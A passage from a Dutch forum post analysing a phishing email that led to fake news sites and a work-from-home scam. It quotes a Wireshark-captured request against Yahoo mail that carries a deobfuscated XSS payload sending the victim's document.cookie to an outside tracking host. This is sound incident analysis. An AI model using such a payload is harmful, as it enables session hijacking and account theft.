Door choi: Inmiddels heb ik ook zo'n mailtje ontvangen van een relatie. In mijn geval wees de link-die ik in een gecontroleerde omgeving heb geopend- naar hotweeknews.com/weeknews/lastnews.html waarop een thuiswerk-scam werd geadverteerdDie site lijkt iets met facebook te doen (in hotweeknews.com/weeknews/like.htm). Aanvulling 01:39: die "like.htm": lijkt sterk op http://pastebin.com/dxc6j7fQ. Nb. de hele site is natuurlijk wel fake, van alle "comments" onder die "nieuws" pagina wordt de datum en tijd dynamisch gegenereerd. Bij de site waar de TS naar verwees was het duidelijker wat er gebeurde, na het openen van www.news15jo.net/biz/ zag ik tussen de calls (gelogd in Wireshark): GET /forumCreation/createNewForum?p=aaaa [followed by obfuscated stuff including, deobfuscated: onmousemove="document.location.href='http://trackuk.net/ru/tracking.php?ex='.concat(escape(document.cookie)) ] Host: kr.kpost.yahoo.com Referer: http://www.news15jo.net/biz/toto.phpAls je de link vanuit je Yahoo webmail opende probeerde ...